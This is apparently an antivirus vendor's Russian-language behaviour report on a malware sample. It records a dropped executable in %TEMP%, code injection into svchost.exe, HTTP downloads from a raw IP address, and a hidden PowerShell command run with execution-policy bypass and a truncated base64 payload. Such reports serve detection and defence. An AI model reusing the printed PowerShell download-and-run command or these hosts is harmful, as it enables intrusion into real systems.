Техническая информация
Вредоносные функции
Создает и запускает на исполнение (эксплоит)
- '%TEMP%\fdsajoifjdsojfdsaoffefs.exe'
Загружает
- http://139.162.154.90/connect
Внедряет код в
следующие системные процессы:
- %WINDIR%\syswow64\svchost.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\fdsajoifjdsojfdsaoffefs.exe
Сетевая активность
Подключается к
- '45.#9.99.36':80
- '13#.#62.154.90':80
TCP
Запросы HTTP GET
- http://13#.#62.154.90/connect
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nop -exec bypass -windowstyle hidden -Noninteractive -e DQAKACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBXAGUAYgBjAGwAaQBlAG4AdAAgAA0ACgAgACAAIAAgAHsADQAKACAAIAAgACAAUABhAHIAYQBtAA0ACgAgACAA...' (со скрытым окном)
- '%WINDIR%\syswow64\svchost.exe' ' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\svchost.exe'
